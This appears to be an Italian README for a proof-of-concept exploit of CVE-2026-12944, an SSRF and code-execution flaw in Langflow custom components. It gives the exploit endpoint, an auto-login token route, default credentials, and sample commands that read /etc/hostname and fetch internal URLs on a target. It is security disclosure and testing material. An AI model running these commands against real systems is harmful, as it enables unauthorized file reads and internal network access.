
PoC Python che sfrutta CVE-2026-12944, una SSRF in Langflow 1.10.0 tramite urllib nei componenti personalizzati, con capacità di lettura e recupero autenticati.
Langflow OSS (≤ 1.10.0) — vulnerabilità che consente l'esecuzione di codice arbitrario tramite urllib.request / socket nei componenti personalizzati.
La denylist dello scanner dei componenti non rilevava questi moduli della libreria standard. Corretto in 1.10.1 (IBM).
Gravità: PR:L (Riproducibile pubblicamente / Gravità bassa)
Endpoint di exploit: POST /api/v1/custom_component
Richiede un cookie di sessione o un bearer token.
--test — nessuna autenticazione richiesta. Esegue solo una GET /api/v1/version pubblica.--read / — prima autenticarsi:
--fetchGET /api/v1/auto_login. Se la risposta JSON contiene access_token, inviare Authorization: Bearer … (nessun username/password necessario).POST /api/v1/login usando --uname / --password in formato application/x-www-form-urlencoded.POST /api/v1/custom_component.--uname / --password vengono usati solo se l'auto-login è disabilitato. Su un'installazione stock predefinita vengono ignorati.
Solo per test autorizzati. Non usare questo strumento contro sistemi di cui non si è proprietari o per cui non si ha esplicita autorizzazione al test.
Requisiti: Python 3 (solo libreria standard).
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --test
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --read /etc/hostname
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --fetch http://127.0.0.1:7860/api/v1/version
python3 cve-2026-12944-langflow-urllib-ssrf.py -u https://TARGET --read /etc/hostname --insecure
python3 cve-2026-12944-langflow-urllib-ssrf.py -u TARGET --uname langflow --password langflow --read /etc/hostname
Report & PoC: ShadowForge Cyber